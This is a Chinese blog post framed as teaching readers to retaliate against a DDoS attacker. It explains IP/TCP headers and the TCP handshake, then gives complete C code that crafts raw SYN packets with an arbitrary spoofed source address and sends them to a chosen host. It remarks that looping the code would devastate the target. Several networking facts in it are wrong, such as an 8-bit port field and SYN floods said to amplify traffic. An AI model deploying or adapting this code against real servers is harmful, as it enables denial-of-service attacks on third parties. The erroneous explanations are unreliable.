服务器被攻击了我教你怎么打回去-DDOS攻击-SYN泛洪攻击-TCP三次握手原理-网络攻防实战演练

原文发布在我的网站:wmwm.me/article/484...

引言

2019年,我的服务器遭遇了DDOS泛洪攻击,一怒之下,我便开始研究"网络攻防",想着打回去。一眨眼4年过去了,本打算屠龙的我,自己却手握屠龙刀,成为了当初的那个屠龙少年

DDOS分有很多种,我只介绍TCP SYN洪水攻击,这是最常用的,也是效果最好的,它可以实现流量放大的效果

免责声明:本篇文章仅仅是科普,作为学习案例,本人不承担任何法律后果

IP数据报

  • 版本(4 bit):一般都是ip-v4,值为0100。如果是ip-v6,值为0110
  • 首部长度(4bit): 4bit最大值为15。单位是行。IP首部默认是20字节,也就是5行。
  • 服务类型(8bit):区分服务时,这个字段才起作用,在一般的情况下都不使用这个字段。
  • 总长度(16bit):IP报文总长,包含首部和数据(TCP/UDP+data)。最小是20个字节。
  • 标志(16bit):唯一值,标识一个报文的所有分包。因为分片不一定按序到达,所以在重组时需要知道分片所属的报文。每产生一个数据报,计数器加1,并赋值给此字段。
  • 其他的暂时不作介绍,后期有需要再来补充

TCP数据报

  • 源端口:发送端所使用的端口,这里有8bit存储空间,所以理论上端口的范围是0~2^8(65535)
  • 目的端口:接收方使用的端口
  • 序号:seq。表明当前发送到第几个数据了。假如是第一次发送,也就是SYN阶段,这就是一个随机数;否则,该序号就是上次发送的序号+1。后续的作用就是数据块的同步
  • 确认号:ack。表明本端已经接收到的数据,实际上告诉对方,在这个序号减1以前的字节已正确接收。若该数据包是整个TCP连接中的第一个包(SYN包),则确认号一般为0,换句话说,就是还未接收数据。只有ACK标志位为1时,确认序号字段才有效
  • 数据偏移:TCP首部一般情况下是20个字节(在没有可变内容的情况下),每4个字节(32bit)为固定的一行,那真正的数据应该在第6行出现,因为前面5行都是首部。所以数据偏移的值默认是5
  • 标志位:这里有多个标识位,都有各自的用途,常用的是SYN和ACK,这里不赘述了。需要注意的是:不要将确认序号Ack与标志位中的ACK搞混了。ACK确认标志用于确认数据包的成功接收,也用于握手和挥手的确认
  • 选项(可变):用于支持一些特殊的变量,比如最大分组长度(MSS)。TCP协议会根据这个字段进行拆包
  • 填充:用户保证可变选项为32bit的整数倍,也就是保证一行。我猜测可能是内存对齐的原因吧,这样会提高传输的效率。

TCP校验和算法

  1. 将校验和字段置为0,然后将IP包头按16比特分成多个单元,如包头长度不是16比特的倍数,则用0比特填充到16比特的倍数;
  2. 对各个单元采用反码加法运算(即高位溢出位会加到低位,通常的补码运算是直接丢掉溢出的高位),将得到的和的反码填入校验和字段;
  3. 发送数据包。

TCP工作流程

三次握手

  1. 客户端SYN标记为1,seq序号=0(这里的0不是真正意义上的0,是相对位置),然后将包发给服务端,并进入SYN_SEND状态
  2. 服务端将SYN标记为1,seq序号=0。ACK标记为1,确认号为0+1=1。将包发送给客户端,进入SYN_RECV状态
  3. 客户端将ACK标记为1,将确认号标记为1。将包发送给服务端,并进入ESTABLISH状态。
  4. 服务端收到确认包,也进入ESTABLISH状态。
  5. 此时双方开始发送数据,其实在3阶段,客户端就可以和请求数据一并发送到服务端

通俗易懂的解释

发SYN就代表写数据,seq:我发到哪个数据了;发ACK就代表读数据,ack:我读到哪个数据了。有篇文章分析得非常好,地址是:zhuanlan.zhihu.com/p/53338327

  1. 客户端发送SYN,seq=0,告诉服务端,我要开始建立连接了,但是我需要先同步一下seq号,你需要把seq+1返回给我,我判断,如果有误,我就拒绝连接
  2. 服务端收到之后,发送SYN/ACK seq=0,ack=0+1(这里的1代表相对位置)。意思是,我这边收到请求了,我会将你发过来的序号在ack返回给你,但是我这边也要收到你的确认,否则我也不连接。我给你发个seq,你那边回复我下。回复校验我就连接你。
  3. 收到ack了,并且合法,我再给你发一个确认的ack,不然你不跟我连接。于是又发了ACK标记。ack=1
  4. 三次握手建立成功,开始传输数据

举个例子

  1. 客户端发送http请求"GET / HTTP1.1 acb" 此时seq是1,ack也是1
  2. 服务器如果收到请求,就要回ACK,ack = 1+接收到内容长度,seq=1
  3. 客户端收到服务端的ACK之后,会将seq=服务器的ack,ack = 1,然后就停了

这样既可以保证顺序正确,也不丢包

数据报通信流程

数据报结构:IP{iphdr+TCP{tcphdr+data}}

发送数据

  1. 客户端在应用层(HTTP/FTP)生成数据,传到TCP层
  2. TCP层将数据包装一下,并在数据包外堆叠TCP报首(端口信息)
  3. IP层堆叠报首(ip地址)
  4. 数据链路层堆叠报首(MAC地址)

接收数据

  1. 数据链路层拿到数据包,判断mac地址是否匹配,不匹配就丢包
  2. IP层判断ip地址是否匹配
  3. TCP层判断端口是否匹配,然后将数据分发到指定的应用。还可能会存在端口转发的情况
  4. http层进行数据解析和处理

代码实战

用C语言构造一个TCP SYN(三次握手第一步)数据包发送到服务器,代码写于2019年,不能保证当下时间有效,仅作为学习用途

c 复制代码
//
// Created by wu on 2019-12-09.
//
#include <stdio.h>
#include <netinet/ip.h>//Provides declarations for ip header
#include <netinet/tcp.h>//Provides declarations for tcp header
#include <arpa/inet.h>
#include <stdlib.h> //for exit(0);
#include <string.h> //memset,memcpy
#include <errno.h>

//needed for checksum calculation
struct pseudo_header_tcp {
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
};

//checksum is 16bit,should use unsigned short
static unsigned short calculate_checkcsum(unsigned short *ptr, int pktlen) {
    register uint32_t csum = 0;

    //add 2 bytes / 16 bits at a time!!
    while (pktlen > 1) {
        csum += *ptr++;
        pktlen -= 2;
    }

    //add the last byte if present
    if (pktlen == 1) {
        csum += *(uint8_t *) ptr;
    }

    //add the carries
    csum = (csum >> 16) + (csum & 0xffff);
    csum = csum + (csum >> 16);

    //return the one's compliment of calculated sum
    return ((short) ~csum);
}

unsigned short src_port = 0;
unsigned int src_inet_addr = 0;
unsigned short dst_port = 0;
unsigned int dst_inet_addr = 0;

int main(int argc, char *argv[]) {
    if (argc < 5) {
        printf("usage:./<script name> <src ip> <src port> <dst ip> <dst port>\n");
        exit(1);
    }

    int i;
    for (i = 1; i < argc; i++) {
        if (i == 1) {
            printf("src_ip = %s\n", argv[i]);
            src_inet_addr = inet_addr(argv[i]);
            continue;
        }
        if (i == 2) {
            src_port = (unsigned short) atoi(argv[i]);
            printf("src_port = %d\n", src_port);
            continue;
        }
        if (i == 3) {
            printf("dst_ip = %s\n", argv[i]);
            dst_inet_addr = inet_addr(argv[i]);
            continue;
        }
        if (i == 4) {
            dst_port = (unsigned short) atoi(argv[i]);
            printf("dst_port = %d\n", dst_port);
            continue;
        }
    }

    // tcp-datagram packet.size is size of iphdr + size of tcphdr
    char datagram[sizeof(struct iphdr) + sizeof(struct tcphdr)];
    bzero(datagram, sizeof(datagram));

    // 将 ip 首部指针和 tcp 首部指针指向各自的位置,
    struct iphdr *ip_header = (struct iphdr *) datagram;
    struct tcphdr *tcp_header = (struct tcphdr *) (datagram + sizeof(struct iphdr));

    // 填充 ip 首部字段
    ip_header->ihl = 5;                //普通 IP 数据报
    ip_header->version = 4;                //IPv4
    ip_header->tos = 0;
    ip_header->tot_len = sizeof(datagram);
    ip_header->id = 0;                      //自定 IP 包标识,方便筛选
    ip_header->frag_off = 0;
    ip_header->ttl = 255;
    ip_header->protocol = IPPROTO_TCP;                      //指定承载的是 TCP 数据包
    ip_header->check = 0;                                //之后需要计算校验和
    ip_header->saddr = src_inet_addr;
    ip_header->daddr = dst_inet_addr;

    //计算 ip 校验和,两个字节
    ip_header->check = calculate_checkcsum((unsigned short *) datagram, sizeof(datagram));

    // 填充 tcp 首部字段
    tcp_header->source = htons(src_port);   //htons means host to network short
    tcp_header->dest = htons(dst_port);     //if spec value < 255(8bit) , there is no need to use htons
    tcp_header->seq = 0;                    //自定义 seq 序号,方便筛选
    tcp_header->ack_seq = 0;
    tcp_header->doff = 5; //tcp header size ,5行,每行4个字节(32bit)
    tcp_header->fin = 0;
    tcp_header->syn = 1;                                //构造三次握手中的第一次,SYN 置 1
    tcp_header->rst = 0;
    tcp_header->psh = 0;
    tcp_header->ack = 0;
    tcp_header->urg = 0;
    tcp_header->window = htons(65535);
    tcp_header->check = 0;                                //之后需要计算校验和
    tcp_header->urg_ptr = 0;

    //借助伪头部计算 tcp 校验和
    int psize = sizeof(struct pseudo_header_tcp) + sizeof(struct tcphdr);
    char *pseudogram = malloc(psize);
    bzero(pseudogram, psize);
    struct pseudo_header_tcp *psh = (struct pseudo_header_tcp *) pseudogram;
    psh->source_address = src_inet_addr;
    psh->dest_address = dst_inet_addr;
    psh->placeholder = 0;
    psh->protocol = IPPROTO_TCP;
    psh->tcp_length = htons(sizeof(struct tcphdr));
    memcpy(pseudogram + sizeof(struct pseudo_header_tcp), tcp_header, sizeof(struct tcphdr));

    //计算 tcp 校验和
    tcp_header->check = calculate_checkcsum((unsigned short *) pseudogram, psize);

    //↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑至此,第一次握手的 TCP/IP 数据包构造完毕↑↑↑↑↑↑↑↑↑↑↑↑


    // 创建一个使用 TCP/IP 协议并可以构造首部数据的 raw_socket
    int send_socket = -1;
    int one = 1;
    const int *val = &one;
    if ((send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_IPIP)) < 0) {
        return -1;
    }
    if (setsockopt(send_socket, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
        return -1;
    }

    // 根据指定 ip 和端口,发送探测包
    struct sockaddr_in dest;
    memset(&dest, 0, sizeof(dest));
    dest.sin_family = AF_INET;
    dest.sin_port = htons(dst_port);
    dest.sin_addr.s_addr = dst_inet_addr;

    ssize_t bytes_sent = sendto(
            send_socket, datagram, sizeof(datagram),
            0, (struct sockaddr *) &dest, sizeof(dest)
    );

    if (bytes_sent < 0) {
        printf("ERROR(%d):%s\n", errno, strerror(errno));
    } else {
        printf("%zu bytes send success !\n", bytes_sent);
    }

    // sockfd should close here !
    return 0;
}

这个代码如果循环执行,短时间内发送无数个SYN包,会对目标服务器造成毁灭性打击,大家千万不要这么做!!!

本篇文章的后续更新及错误订正会实时更新到我的网站,建议收藏:wmwm.me

相关推荐
IT_陈寒3 小时前
闭包陷阱让我加了两天班,JavaScript你真行
前端·人工智能·后端
易协同低代码4 小时前
通达OA核心类库TD类深度解析
后端
Gopher_HBo4 小时前
Go语言学习笔记(十八)Gin处理Session
后端
谭光志5 小时前
工具塞满上下文窗口怎么办?深度拆解 AI Agent Tool Search 按需加载实现原理
前端·后端·ai编程
她说..5 小时前
Java 默认值设置方式
java·开发语言·后端·springboot
foggyprojects5 小时前
从0开始,一句话启动AI DataAgent
后端·数据分析·ai编程
郡杰5 小时前
一些基础和问题解决
后端
陈随易6 小时前
前端项目部署只要30秒
前端·后端·程序员
YIAN6 小时前
从零手写文件读取 MCP 服务:一文吃透 Model Context Protocol 全链路通信原理
前端·后端·mcp
Imchendiana6 小时前
《狂人日记NO.9》— 前后端一把梭,我的全栈实录
前端·后端